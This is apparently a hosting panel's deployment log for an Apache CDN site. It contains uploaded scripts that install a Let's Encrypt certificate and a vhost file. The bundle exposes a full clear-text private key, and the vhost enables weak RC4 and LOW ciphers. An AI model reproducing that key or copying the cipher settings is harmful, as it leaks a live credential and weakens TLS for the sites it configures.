MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-03 12:21:28: Establishing a connection
2026-07-03 12:21:29: Establishing a connection
2026-07-03 12:21:30: 

PUT: /tmp/pkp527769

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-03 12:21:31: 

chmod 755 /tmp/pkp527769; /tmp/pkp527769; rm /tmp/pkp527769

2026-07-03 12:21:31: 


0


2026-07-03 12:21:51: Establishing a connection
2026-07-03 12:21:52: 

PUT: /tmp/pkp691553

#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt

cat > $temp_file <<'endmsg'
5e:13:72:cd:e5:bc:d7:26:0f:8a:6e:ae:c3:b7:60:d5

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBXoU8XuRKQ4rjjm8aKIWdKaJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAzMTEyMzIwWhcNMjYxMDAxMTEyMzE5WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWhCjB61e+8th7H5PUuTYZxYXLKwiHzOVRFIea4vmv2fBNjVJe
fsUuSFkYqeh9uf0HlskNd0ZHurbMsWEWPZ9pdmjDtIcJxotScx1RXdUeD0+u6iSe
9me27rbJqst1zdzymQn4T5bt8K8iwUkV0MVVFNIq3RuKbncedaYM/fpZQgIOu01j
Cv3RNkcp6b0CbhdW7DJGkffiqud/d1JjtjKzhBZv/GgpP7WSx/oO2A9hpVo0EVmo
HLVGXjLl/SuD6bdZ9Ric6Zr+YGaVLItAJVZ1GymCoQ/BqulSouWt2yyUf1+/a26n
cC4WuiX7rq8BYg9WPy0XQHUaRrwZSfwdK6rzAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUZcsOl+VllGaKf4NDS6LkPrNi6pcwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy8xMC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ8n7ZidAAAE
AwBIMEYCIQCdivbb4iKnLEk12+9MQDlHdkzAsZtN5g6iPy7AEAJoBgIhAOKgRTi3
845nuMSR8qVtrjrCMhSklzJOHBWRW9yxqiuVAH4AGoudaw/+v4G0eTnG0jEKhtbR
AtTwRuIYLJ3jX14mJe8AAAGfJ+2aBgAIAAAFACW99joEAwBHMEUCIQD9jLBshmNF
vM35gzJsjWS9DfOScKVY56maT8mHTm/fBgIgAlp+sxo7yfw5AvWNPdJLaQT/KLLv
OpOstq6KW+AUMBcwDQYJKoZIhvcNAQELBQADggEBAJ2tQcwwRnEbMfZ1H9lsR7yk
P++NCqNmGcdm0sdL8jTz1UBWQeLZNHvtGm5tHLeCrFrjb6H9HNbSsSxquCqrjqPk
pLPGEkMSuf//+T4ZsK37lJLr2JanJO1dBwHVv+6rWZxiSJr6aH1eUS/llGl9N/cK
AM45mhzH5tNG2wvpBB8BEqe82hn5YG4DLBPWnSQaHsil4gzEXYsyQENLqnENE1Ov
FABXD1uwIsj6O5a30VaKf/7JepnElflH289T8QXuVjlQmbiO4mHks4thNmt7WnJk
1LOsOxuF0BZY7eS2jTK9Rk4/9vhvVy3zHQ3nA2GfdCf8HbgcHzxnZTWsfCeupXk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWhCjB61e+8th7
H5PUuTYZxYXLKwiHzOVRFIea4vmv2fBNjVJefsUuSFkYqeh9uf0HlskNd0ZHurbM
sWEWPZ9pdmjDtIcJxotScx1RXdUeD0+u6iSe9me27rbJqst1zdzymQn4T5bt8K8i
wUkV0MVVFNIq3RuKbncedaYM/fpZQgIOu01jCv3RNkcp6b0CbhdW7DJGkffiqud/
d1JjtjKzhBZv/GgpP7WSx/oO2A9hpVo0EVmoHLVGXjLl/SuD6bdZ9Ric6Zr+YGaV
LItAJVZ1GymCoQ/BqulSouWt2yyUf1+/a26ncC4WuiX7rq8BYg9WPy0XQHUaRrwZ
SfwdK6rzAgMBAAECggEAAonSz6Sgx64o+KABiFFevgRT1nkeYzj9960mA6Ou77FF
Ai3rbRnT7H3HrB6KlT5Hq7jRjTq9lqizdA2fR/uXsNBJYhN3S5rRWDrrfGR/Wpk0
yK2VnFnvFT+S4yUFvlGezTIZZ5pNf2hLMj6WRk9PnneeGwq9wjAXccFTozC4Lyku
v6bcB6zeYw+WI6rtBR6rcat9LK0REcE9RQpmQEy43IadjnM2OGIFqa5Xo6Slhort
et5g+1WiLXhXCANtJtZc//OMIroUfat/RyTEyPq28sx5xlu1Qf3o4aJ+Mxnu1Jks
2IeBJrEMdsqnQ0B7E4NeWMwBuQygPR/YquKogPEBtQKBgQDxWIg07fVaPITqGS2B
fgZ9c2u1wZ6dJc9NQXn4u08pFEHUjGnq4QzV6d+/vlIGiyVhGXZ009Gt8j1+OCI2
i44hZNG+Tq0PtaCqz86kFJFEpRDdruGjDRkCwcXSSyp0kGIHU4F6pQfsVvjQr30Y
5LiN3kGNTrx+VwZRSPB9JrWUdwKBgQDjipbkyKK9hIa2mzHax682vmL+Mqx3BWFJ
7t9hBQHOSRubffmXqNdAz1z7GnTQKV9zJYuX1+LgAuo8u5GeOrRwYuJK3W7QXBB2
ZsZn/wOBYqJJkjoFpSoffr/AKrFmzH1Cu1rKhBMJhKB4J80f70pQuRIVnSfu7Cg5
Dk17yzaoZQKBgQDeFBoZolFffErN4uclveKY82lMcWLTteQAcdybjTg1U6eTvrUD
5ZxbBn7WQHnX/ZgitjxzGipaRophJ6QLzvS1M8FwvZKv3vB93QSHpUlbAgz4ACEu
WTIHgGjYrkPdyLH7jdKaGVumFQ2VcbXJ/0T3fmmRbr8x/kAY8eYhM0po1wKBgA5J
fm4BFw7VSmwe1IOLNDo4vBh/8ApNIS22PPpniRR9zKj3wPs/07wzCQCPSbRkVKTz
P4+aM5mjNTf5AwyvXPMNkm3m93VHwpTcoSqYfYzbN5ts/g2qsDloCPw08gylXFwb
TXkXz+YyGK1SunN93+mvpS4MPxymYWQrvLvAJ79tAoGBAJLeUPwZom1W+JTfV3Bc
/RvK6wWj7ffkLxz1Ta+uTb+W24Xw3Q9cMUwahOyhg2qJ/vTGWHYvZWb9vFgbg3Bm
y71ELuLNxmm6jh+zvv//I+vBcokFWUHJ3zHc+tucuVC4LRZ23SStpvKwXHxx7J/i
1MtR+VC3PZWJjVACA0WNX8Ex
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-03 12:21:53: 

chmod 755 /tmp/pkp691553; /tmp/pkp691553; rm /tmp/pkp691553

2026-07-03 12:21:53: 


dir=/etc/ssl/certs


2026-07-03 12:21:53: 

PUT: /tmp/pkp437459

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-03 12:21:53: 

chmod 755 /tmp/pkp437459; /tmp/pkp437459; rm /tmp/pkp437459

2026-07-03 12:21:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-03 12:21:53: 

PUT: /tmp/pkp414545

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi


2026-07-03 12:21:54: 

chmod 755 /tmp/pkp414545; /tmp/pkp414545; rm /tmp/pkp414545

2026-07-03 12:21:54: 




2026-07-03 12:21:54: 

PUT: /tmp/pkp869235

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-03 12:21:54: 

chmod 755 /tmp/pkp869235; /tmp/pkp869235; rm /tmp/pkp869235

2026-07-03 12:21:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-03 12:21:55: Establishing a connection
2026-07-03 12:21:56: 

PUT: /tmp/pkp272836

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-03 12:21:57: 

chmod 755 /tmp/pkp272836; /tmp/pkp272836; rm /tmp/pkp272836

2026-07-03 12:21:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:1)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:21)
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:23)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-03 12:21:57: 

PUT: /tmp/pkp322948

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-03 12:21:57: 

chmod 755 /tmp/pkp322948; /tmp/pkp322948; rm /tmp/pkp322948

2026-07-03 12:21:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf	1172

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-03 12:21:57: 

PUT: /tmp/pkp207536

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-03 12:21:58: 

chmod 755 /tmp/pkp207536; /tmp/pkp207536; rm /tmp/pkp207536

2026-07-03 12:21:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt	7440
5e:13:72:cd:e5:bc:d7:26:0f:8a:6e:ae:c3:b7:60:d5

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBXoU8XuRKQ4rjjm8aKIWdKaJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAzMTEyMzIwWhcNMjYxMDAxMTEyMzE5WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWhCjB61e+8th7H5PUuTYZxYXLKwiHzOVRFIea4vmv2fBNjVJe
